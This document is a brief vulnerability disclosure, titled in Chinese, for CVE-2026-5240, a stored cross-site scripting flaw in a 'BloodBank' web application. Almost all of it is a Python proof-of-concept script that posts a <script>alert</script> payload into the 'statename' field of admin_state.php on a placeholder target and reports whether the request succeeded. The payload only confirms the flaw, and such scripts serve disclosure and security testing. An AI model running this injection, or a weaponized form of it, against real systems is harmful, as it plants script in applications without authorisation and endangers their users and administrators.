CVE-2026-5240 BloodBank存储型XSS漏洞

import requests # Target URL (example) target_url = "http://target-ip/BloodBank/admin_state.php" # Malicious payload to test XSS # Simple script alert to verify vulnerability payload = "<script>alert('XSS-Test')</script>" # Data to be sent data = { "statename": payload, # Other required parameters might be needed depending on the form structure } try: # Send POST request to inject the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("Payload sent successfully.") print("Check the admin page to see if the alert triggers.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")